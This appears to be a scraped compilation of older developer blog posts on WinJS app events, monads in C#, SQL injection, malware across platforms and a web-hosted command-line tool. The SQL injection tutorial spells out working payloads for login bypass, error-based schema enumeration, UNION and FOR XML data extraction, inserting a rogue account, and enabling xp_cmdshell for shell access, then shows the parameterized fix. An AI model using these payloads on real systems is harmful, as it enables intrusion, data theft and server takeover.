instead of WinJS.Application.onactivated. The WinJS.Application object  represents your running Metro application. Handling Application Events The default.js file contains an event handler for the WinJS.Application activated event: app.onactivated = function (eventObject) { if (eventObject.detail.kind === Windows.ApplicationModel.Activation.ActivationKind.launch) { if (eventObject.detail.previousExecutionState !== Windows.ApplicationModel.Activation.ApplicationExecutionState.terminated) { // TODO: This application has been newly launched. Initialize // your application here. } else { // TODO: This application has been reactivated from suspension. // Restore application state here. } WinJS.UI.processAll(); } }; This WinJS.Application class supports the following events: · loaded – Happens after browser DOMContentLoaded event. After this event, the DOM is ready and you can access elements in a page. This event is raised before external images have been loaded. · activated – Triggered by the Windows.UI.WebUI.WebUIApplication activated event. After this event, the WinRT is ready. · ready – Happens after both loaded and activated events. · unloaded – Happens before application is unloaded. The following default.js file has been modified to capture each of these events and write a message to the Visual Studio JavaScript Console window: (function () { "use strict"; var app = WinJS.Application; WinJS.Application.onloaded = function (e) { console.log("Loaded"); }; WinJS.Application.onactivated = function (e) { console.log("Activated"); }; WinJS.Application.onready = function (e) { console.log("Ready"); } WinJS.Application.onunload = function (e) { console.log("Unload"); } app.start(); })(); When you execute the code above, a message is written to the Visual Studio JavaScript Console window when each event occurs with the exception of the Unload event (presumably because the console is not attached when that event is raised).   Handling Different Activation Contexts The code for the activated handler in the default.js file looks like this: app.onactivated = function (eventObject) { if (eventObject.detail.kind === Windows.ApplicationModel.Activation.ActivationKind.launch) { if (eventObject.detail.previousExecutionState !== Windows.ApplicationModel.Activation.ApplicationExecutionState.terminated) { // TODO: This application has been newly launched. Initialize // your application here. } else { // TODO: This application has been reactivated from suspension. // Restore application state here. } WinJS.UI.processAll(); } }; Notice that the code contains a conditional which checks the Kind of the event (the value of e.detail.kind). The startup code is executed only when the activated event is triggered by a Launch event, The ActivationKind enumeration has the following values: · launch · search · shareTarget · file · protocol · fileOpenPicker · fileSavePicker · cacheFileUpdater · contactPicker · device · printTaskSettings · cameraSettings Metro style applications can be activated in different contexts. For example, a camera application can be activated when modifying camera settings. In that case, the ActivationKind would be CameraSettings. Because we want to execute our JavaScript code when our application first launches, we verify that the kind of the activation event is an ActivationKind.Launch event. There is a second conditional within the activated event handler which checks whether an application is being newly launched or whether the application is being resumed from a suspended state. When running a Metro application with Visual Studio, you can use Visual Studio to simulate different application execution states by taking advantage of the Debug toolbar and the new Debug Location toolbar.  Handling the checkpoint Event The default.js file also includes an event handler for the WinJS.Application checkpoint event: app.oncheckpoint = function (eventObject) { // TODO: This application is about to be suspended. Save any state // that needs to persist across suspensions here. You might use the // WinJS.Application.sessionState object, which is automatically // saved and restored across suspension. If you need to complete an // asynchronous operation before your application is suspended, call // eventObject.setPromise(). }; The checkpoint event is raised when your Metro application goes into a suspended state. The idea is that you can save your application data when your application is suspended and reload your application data when your application resumes. Starting the Application The final statement in the default.js file is the statement that gets everything going: app.start(); Events are queued up in a JavaScript array named eventQueue . Until you call the start() method, the events in the queue are not processed. If you don’t call the start() method then the Loaded, Activated, Ready, and Unloaded events are never raised. Summary The goal of this blog entry was to describe the contents of the default.js file which is the JavaScript file which you use to kick off your custom code in a Windows Metro style application written with JavaScript. In this blog entry, I discussed the module pattern, JavaScript strict mode, handling first chance exceptions, WinJS Application events, and activation contexts.

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• How I understood monads, part 1/2: sleepless and self-loathing in Seattle

  - by Bertrand Le Roy

  For some time now, I had been noticing some interest for monads, mostly in the form of unintelligible (to me) blog posts and comments saying “oh, yeah, that’s a monad” about random stuff as if it were absolutely obvious and if I didn’t know what they were talking about, I was probably an uneducated idiot, ignorant about the simplest and most fundamental concepts of functional programming. Fair enough, I am pretty much exactly that. Being the kind of guy who can spend eight years in college just to understand a few interesting concepts about the universe, I had to check it out and try to understand monads so that I too can say “oh, yeah, that’s a monad”. Man, was I hit hard in the face with the limitations of my own abstract thinking abilities. All the articles I could find about the subject seemed to be vaguely understandable at first but very quickly overloaded the very few concept slots I have available in my brain. They also seemed to be consistently using arcane notation that I was entirely unfamiliar with. It finally all clicked together one Friday afternoon during the team’s beer symposium when Louis was patient enough to break it down for me in a language I could understand (C#). I don’t know if being intoxicated helped. Feel free to read this with or without a drink in hand. So here it is in a nutshell: a monad allows you to manipulate stuff in interesting ways. Oh, OK, you might say. Yeah. Exactly. Let’s start with a trivial case: public static class Trivial { public static TResult Execute<T, TResult>( this T argument, Func<T, TResult> operation) { return operation(argument); } } This is not a monad. I removed most concepts here to start with something very simple. There is only one concept here: the idea of executing an operation on an object. This is of course trivial and it would actually be simpler to just apply that operation directly on the object. But please bear with me, this is our first baby step. Here’s how you use that thing: "some string" .Execute(s => s + " processed by trivial proto-monad.") .Execute(s => s + " And it's chainable!"); What we’re doing here is analogous to having an assembly chain in a factory: you can feed it raw material (the string here) and a number of machines that each implement a step in the manufacturing process and you can start building stuff. The Trivial class here represents the empty assembly chain, the conveyor belt if you will, but it doesn’t care what kind of raw material gets in, what gets out or what each machine is doing. It is pure process. A real monad will need a couple of additional concepts. Let’s say the conveyor belt needs the material to be processed to be contained in standardized boxes, just so that it can safely and efficiently be transported from machine to machine or so that tracking information can be attached to it. Each machine knows how to treat raw material or partly processed material, but it doesn’t know how to treat the boxes so the conveyor belt will have to extract the material from the box before feeding it into each machine, and it will have to box it back afterwards. This conveyor belt with boxes is essentially what a monad is. It has one method to box stuff, one to extract stuff from its box and one to feed stuff into a machine. So let’s reformulate the previous example but this time with the boxes, which will do nothing for the moment except containing stuff. public class Identity<T> { public Identity(T value) { Value = value; } public T Value { get; private set;} public static Identity<T> Unit(T value) { return new Identity<T>(value); } public static Identity<U> Bind<U>( Identity<T> argument, Func<T, Identity<U>> operation) { return operation(argument.Value); } } Now this is a true to the definition Monad, including the weird naming of the methods. It is the simplest monad, called the identity monad and of course it does nothing useful. Here’s how you use it: Identity<string>.Bind( Identity<string>.Unit("some string"), s => Identity<string>.Unit( s + " was processed by identity monad.")).Value That of course is seriously ugly. Note that the operation is responsible for re-boxing its result. That is a part of strict monads that I don’t quite get and I’ll take the liberty to lift that strange constraint in the next examples. To make this more readable and easier to use, let’s build a few extension methods: public static class IdentityExtensions { public static Identity<T> ToIdentity<T>(this T value) { return new Identity<T>(value); } public static Identity<U> Bind<T, U>( this Identity<T> argument, Func<T, U> operation) { return operation(argument.Value).ToIdentity(); } } With those, we can rewrite our code as follows: "some string".ToIdentity() .Bind(s => s + " was processed by monad extensions.") .Bind(s => s + " And it's chainable...") .Value; This is considerably simpler but still retains the qualities of a monad. But it is still pointless. Let’s look at a more useful example, the state monad, which is basically a monad where the boxes have a label. It’s useful to perform operations on arbitrary objects that have been enriched with an attached state object. public class Stateful<TValue, TState> { public Stateful(TValue value, TState state) { Value = value; State = state; } public TValue Value { get; private set; } public TState State { get; set; } } public static class StateExtensions { public static Stateful<TValue, TState> ToStateful<TValue, TState>( this TValue value, TState state) { return new Stateful<TValue, TState>(value, state); } public static Stateful<TResult, TState> Execute<TValue, TState, TResult>( this Stateful<TValue, TState> argument, Func<TValue, TResult> operation) { return operation(argument.Value) .ToStateful(argument.State); } } You can get a stateful version of any object by calling the ToStateful extension method, passing the state object in. You can then execute ordinary operations on the values while retaining the state: var statefulInt = 3.ToStateful("This is the state"); var processedStatefulInt = statefulInt .Execute(i => ++i) .Execute(i => i * 10) .Execute(i => i + 2); Console.WriteLine("Value: {0}; state: {1}", processedStatefulInt.Value, processedStatefulInt.State); This monad differs from the identity by enriching the boxes. There is another way to give value to the monad, which is to enrich the processing. An example of that is the writer monad, which can be typically used to log the operations that are being performed by the monad. Of course, the richest monads enrich both the boxes and the processing. That’s all for today. I hope with this you won’t have to go through the same process that I did to understand monads and that you haven’t gone into concept overload like I did. Next time, we’ll examine some examples that you already know but we will shine the monadic light, hopefully illuminating them in a whole new way. Realizing that this pattern is actually in many places but mostly unnoticed is what will enable the truly casual “oh, yes, that’s a monad” comments. Here’s the code for this article: http://weblogs.asp.net/blogs/bleroy/Samples/Monads.zip The Wikipedia article on monads: http://en.wikipedia.org/wiki/Monads_in_functional_programming This article was invaluable for me in understanding how to express the canonical monads in C# (interesting Linq stuff in there): http://blogs.msdn.com/b/wesdyer/archive/2008/01/11/the-marvels-of-monads.aspx

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• SQL Server SQL Injection from start to end

  - by Mladen Prajdic

  SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

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• HTG Explains: Do Non-Windows Platforms Like Mac, Android, iOS, and Linux Get Viruses?

  - by Chris Hoffman

  Viruses and other types of malware seem largely confined to Windows in the real world. Even on a Windows 8 PC, you can still get infected with malware. But how vulnerable are other operating systems to malware? When we say “viruses,” we’re actually talking about malware in general. There’s more to malware than just viruses, although the word virus is often used to talk about malware in general. Why Are All the Viruses For Windows? Not all of the malware out there is for Windows, but most of it is. We’ve tried to cover why Windows has the most viruses in the past. Windows’ popularity is definitely a big factor, but there are other reasons, too. Historically, Windows was never designed for security in the way that UNIX-like platforms were — and every popular operating system that’s not Windows is based on UNIX. Windows also has a culture of installing software by searching the web and downloading it from websites, whereas other platforms have app stores and Linux has centralized software installation from a secure source in the form of its package managers. Do Macs Get Viruses? The vast majority of malware is designed for Windows systems and Macs don’t get Windows malware. While Mac malware is much more rare, Macs are definitely not immune to malware. They can be infected by malware written specifically for Macs, and such malware does exist. At one point, over 650,000 Macs were infected with the Flashback Trojan. [Source] It infected Macs through the Java browser plugin, which is a security nightmare on every platform. Macs no longer include Java by default. Apple also has locked down Macs in other ways. Three things in particular help: Mac App Store: Rather than getting desktop programs from the web and possibly downloading malware, as inexperienced users might on Windows, they can get their applications from a secure place. It’s similar to a smartphone app store or even a Linux package manager. Gatekeeper: Current releases of Mac OS X use Gatekeeper, which only allows programs to run if they’re signed by an approved developer or if they’re from the Mac App Store. This can be disabled by geeks who need to run unsigned software, but it acts as additional protection for typical users. XProtect: Macs also have a built-in technology known as XProtect, or File Quarantine. This feature acts as a blacklist, preventing known-malicious programs from running. It functions similarly to Windows antivirus programs, but works in the background and checks applications you download. Mac malware isn’t coming out nearly as quick as Windows malware, so it’s easier for Apple to keep up. Macs are certainly not immune to all malware, and someone going out of their way to download pirated applications and disable security features may find themselves infected. But Macs are much less at risk of malware in the real world. Android is Vulnerable to Malware, Right? Android malware does exist and companies that produce Android security software would love to sell you their Android antivirus apps. But that isn’t the full picture. By default, Android devices are configured to only install apps from Google Play. They also benefit from antimalware scanning — Google Play itself scans apps for malware. You could disable this protection and go outside Google Play, getting apps from elsewhere (“sideloading”). Google will still help you if you do this, asking if you want to scan your sideloaded apps for malware when you try to install them. In China, where many, many Android devices are in use, there is no Google Play Store. Chinese Android users don’t benefit from Google’s antimalware scanning and have to get their apps from third-party app stores, which may contain infected copies of apps. The majority of Android malware comes from outside Google Play. The scary malware statistics you see primarily include users who get apps from outside Google Play, whether it’s pirating infected apps or acquiring them from untrustworthy app stores. As long as you get your apps from Google Play — or even another secure source, like the Amazon App Store — your Android phone or tablet should be secure. What About iPads and iPhones? Apple’s iOS operating system, used on its iPads, iPhones, and iPod Touches, is more locked down than even Macs and Android devices. iPad and iPhone users are forced to get their apps from Apple’s App Store. Apple is more demanding of developers than Google is — while anyone can upload an app to Google Play and have it available instantly while Google does some automated scanning, getting an app onto Apple’s App Store involves a manual review of that app by an Apple employee. The locked-down environment makes it much more difficult for malware to exist. Even if a malicious application could be installed, it wouldn’t be able to monitor what you typed into your browser and capture your online-banking information without exploiting a deeper system vulnerability. Of course, iOS devices aren’t perfect either. Researchers have proven it’s possible to create malicious apps and sneak them past the app store review process. [Source] However, if a malicious app was discovered, Apple could pull it from the store and immediately uninstall it from all devices. Google and Microsoft have this same ability with Android’s Google Play and Windows Store for new Windows 8-style apps. Does Linux Get Viruses? Malware authors don’t tend to target Linux desktops, as so few average users use them. Linux desktop users are more likely to be geeks that won’t fall for obvious tricks. As with Macs, Linux users get most of their programs from a single place — the package manager — rather than downloading them from websites. Linux also can’t run Windows software natively, so Windows viruses just can’t run. Linux desktop malware is extremely rare, but it does exist. The recent “Hand of Thief” Trojan supports a variety of Linux distributions and desktop environments, running in the background and stealing online banking information. It doesn’t have a good way if infecting Linux systems, though — you’d have to download it from a website or receive it as an email attachment and run the Trojan. [Source] This just confirms how important it is to only run trusted software on any platform, even supposedly secure ones. What About Chromebooks? Chromebooks are locked down laptops that only run the Chrome web browser and some bits around it. We’re not really aware of any form of Chrome OS malware. A Chromebook’s sandbox helps protect it against malware, but it also helps that Chromebooks aren’t very common yet. It would still be possible to infect a Chromebook, if only by tricking a user into installing a malicious browser extension from outside the Chrome web store. The malicious browser extension could run in the background, steal your passwords and online banking credentials, and send it over the web. Such malware could even run on Windows, Mac, and Linux versions of Chrome, but it would appear in the Extensions list, would require the appropriate permissions, and you’d have to agree to install it manually. And Windows RT? Microsoft’s Windows RT only runs desktop programs written by Microsoft. Users can only install “Windows 8-style apps” from the Windows Store. This means that Windows RT devices are as locked down as an iPad — an attacker would have to get a malicious app into the store and trick users into installing it or possibly find a security vulnerability that allowed them to bypass the protection. Malware is definitely at its worst on Windows. This would probably be true even if Windows had a shining security record and a history of being as secure as other operating systems, but you can definitely avoid a lot of malware just by not using Windows. Of course, no platform is a perfect malware-free environment. You should exercise some basic precautions everywhere. Even if malware was eliminated, we’d have to deal with social-engineering attacks like phishing emails asking for credit card numbers. Image Credit: stuartpilbrow on Flickr, Kansir on Flickr     

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• Making a Case For The Command Line

  - by Jesse Taber

  Originally posted on: http://geekswithblogs.net/GruffCode/archive/2013/06/30/making-a-case-for-the-command-line.aspxI have had an idea percolating in the back of my mind for over a year now that I’ve just recently started to implement. This idea relates to building out “internal tools” to ease the maintenance and on-going support of a software system. The system that I currently work on is (mostly) web-based, so we traditionally we have built these internal tools in the form of pages within the app that are only accessible by our developers and support personnel. These pages allow us to perform tasks within the system that, for one reason or another, we don’t want to let our end users perform (e.g. mass create/update/delete operations on data, flipping switches that turn paid modules of the system on or off, etc). When we try to build new tools like this we often struggle with the level of effort required to build them. Effort Required Creating a whole new page in an existing web application can be a fairly large undertaking. You need to create the page and ensure it will have a layout that is consistent with the other pages in the app. You need to decide what types of input controls need to go onto the page. You need to ensure that everything uses the same style as the rest of the site. You need to figure out what the text on the page should say. Then, when you figure out that you forgot about an input that should really be present you might have to go back and re-work the entire thing. Oh, and in addition to all of that, you still have to, you know, write the code that actually performs the task. Everything other than the code that performs the task at hand is just overhead. We don’t need a fancy date picker control in a nicely styled page for the vast majority of our internal tools. We don’t even really need a page, for that matter. We just need a way to issue a command to the application and have it, in turn, execute the code that we’ve written to accomplish a given task. All we really need is a simple console application! Plumbing Problems A former co-worker of mine, John Sonmez, always advocated the Unix philosophy for building internal tools: start with something that runs at the command line, and then build a UI on top of that if you need to. John’s idea has a lot of merit, and we tried building out some internal tools as simple Console applications. Unfortunately, this was often easier said that done. Doing a “File –> New Project” to build out a tool for a mature system can be pretty daunting because that new project is totally empty.  In our case, the web application code had a lot of of “plumbing” built in: it managed authentication and authorization, it handled database connection management for our multi-tenanted architecture, it managed all of the context that needs to follow a user around the application such as their timezone and regional/language settings. In addition, the configuration file for the web application  (a web.config in our case because this is an ASP .NET application) is large and would need to be reproduced into a similar configuration file for a Console application. While most of these problems are could be solved pretty easily with some refactoring of the codebase, building Console applications for internal tools still potentially suffers from one pretty big drawback: you’d have to execute them on a machine with network access to all of the needed resources. Obviously, our web servers can easily communicate the the database servers and can publish messages to our service bus, but the same is not true for all of our developer and support personnel workstations. We could have everyone run these tools remotely via RDP or SSH, but that’s a bit cumbersome and certainly a lot less convenient than having the tools built into the web application that is so easily accessible. Mix and Match So we need a way to build tools that are easily accessible via the web application but also don’t require the overhead of creating a user interface. This is where my idea comes into play: why not just build a command line interface into the web application? If it’s part of the web application we get all of the plumbing that comes along with that code, and we’re executing everything on the web servers which means we’ll have access to any external resources that we might need. Rather than having to incur the overhead of creating a brand new page for each tool that we want to build, we can create one new page that simply accepts a command in text form and executes it as a request on the web server. In this way, we can focus on writing the code to accomplish the task. If the tool ends up being heavily used, then (and only then) should we consider spending the time to build a better user experience around it. To be clear, I’m not trying to downplay the importance of building great user experiences into your system; we should all strive to provide the best UX possible to our end users. I’m only advocating this sort of bare-bones interface for internal consumption by the technical staff that builds and supports the software. This command line interface should be the “back end” to a highly polished and eye-pleasing public face. Implementation As I mentioned at the beginning of this post, this is an idea that I’ve had for awhile but have only recently started building out. I’ve outlined some general guidelines and design goals for this effort as follows: Text in, text out: In the interest of keeping things as simple as possible, I want this interface to be purely text-based. Users will submit commands as plain text, and the application will provide responses in plain text. Obviously this text will be “wrapped” within the context of HTTP requests and responses, but I don’t want to have to think about HTML or CSS when taking input from the user or displaying responses back to the user. Task-oriented code only: After building the initial “harness” for this interface, the only code that should need to be written to create a new internal tool should be code that is expressly needed to accomplish the task that the tool is intended to support. If we want to encourage and enable ourselves to build good tooling, we need to lower the barriers to entry as much as possible. Built-in documentation: One of the great things about most command line utilities is the ‘help’ switch that provides usage guidelines and details about the arguments that the utility accepts. Our web-based command line utility should allow us to build the documentation for these tools directly into the code of the tools themselves. I finally started trying to implement this idea when I heard about a fantastic open-source library called CLAP (Command Line Auto Parser) that lets me meet the guidelines outlined above. CLAP lets you define classes with public methods that can be easily invoked from the command line. Here’s a quick example of the code that would be needed to create a new tool to do something within your system: 1: public class CustomerTools 2: { 3: [Verb] 4: public void UpdateName(int customerId, string firstName, string lastName) 5: { 6: //invoke internal services/domain objects/hwatever to perform update 7: } 8: } This is just a regular class with a single public method (though you could have as many methods as you want). The method is decorated with the ‘Verb’ attribute that tells the CLAP library that it is a method that can be invoked from the command line. Here is how you would invoke that code: Parser.Run(args, new CustomerTools()); Note that ‘args’ is just a string[] that would normally be passed passed in from the static Main method of a Console application. Also, CLAP allows you to pass in multiple classes that define [Verb] methods so you can opt to organize the code that CLAP will invoke in any way that you like. You can invoke this code from a command line application like this: SomeExe UpdateName -customerId:123 -firstName:Jesse -lastName:Taber ‘SomeExe’ in this example just represents the name of .exe that is would be created from our Console application. CLAP then interprets the arguments passed in order to find the method that should be invoked and automatically parses out the parameters that need to be passed in. After a quick spike, I’ve found that invoking the ‘Parser’ class can be done from within the context of a web application just as easily as it can from within the ‘Main’ method entry point of a Console application. There are, however, a few sticking points that I’m working around: Splitting arguments into the ‘args’ array like the command line: When you invoke a standard .NET console application you get the arguments that were passed in by the user split into a handy array (this is the ‘args’ parameter referenced above). Generally speaking they get split by whitespace, but it’s also clever enough to handle things like ignoring whitespace in a phrase that is surrounded by quotes. We’ll need to re-create this logic within our web application so that we can give the ‘args’ value to CLAP just like a console application would. Providing a response to the user: If you were writing a console application, you might just use Console.WriteLine to provide responses to the user as to the progress and eventual outcome of the command. We can’t use Console.WriteLine within a web application, so I’ll need to find another way to provide feedback to the user. Preferably this approach would allow me to use the same handler classes from both a Console application and a web application, so some kind of strategy pattern will likely emerge from this effort. Submitting files: Often an internal tool needs to support doing some kind of operation in bulk, and the easiest way to submit the data needed to support the bulk operation is in a file. Getting the file uploaded and available to the CLAP handler classes will take a little bit of effort. Mimicking the console experience: This isn’t really a requirement so much as a “nice to have”. To start out, the command-line interface in the web application will probably be a single ‘textarea’ control with a button to submit the contents to a handler that will pass it along to CLAP to be parsed and run. I think it would be interesting to use some javascript and CSS trickery to change that page into something with more of a “shell” interface look and feel. I’ll be blogging more about this effort in the future and will include some code snippets (or maybe even a full blown example app) as I progress. I also think that I’ll probably end up either submitting some pull requests to the CLAP project or possibly forking/wrapping it into a more web-friendly package and open sourcing that.

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• How to tell if SPARC T4 crypto is being used?

  - by danx

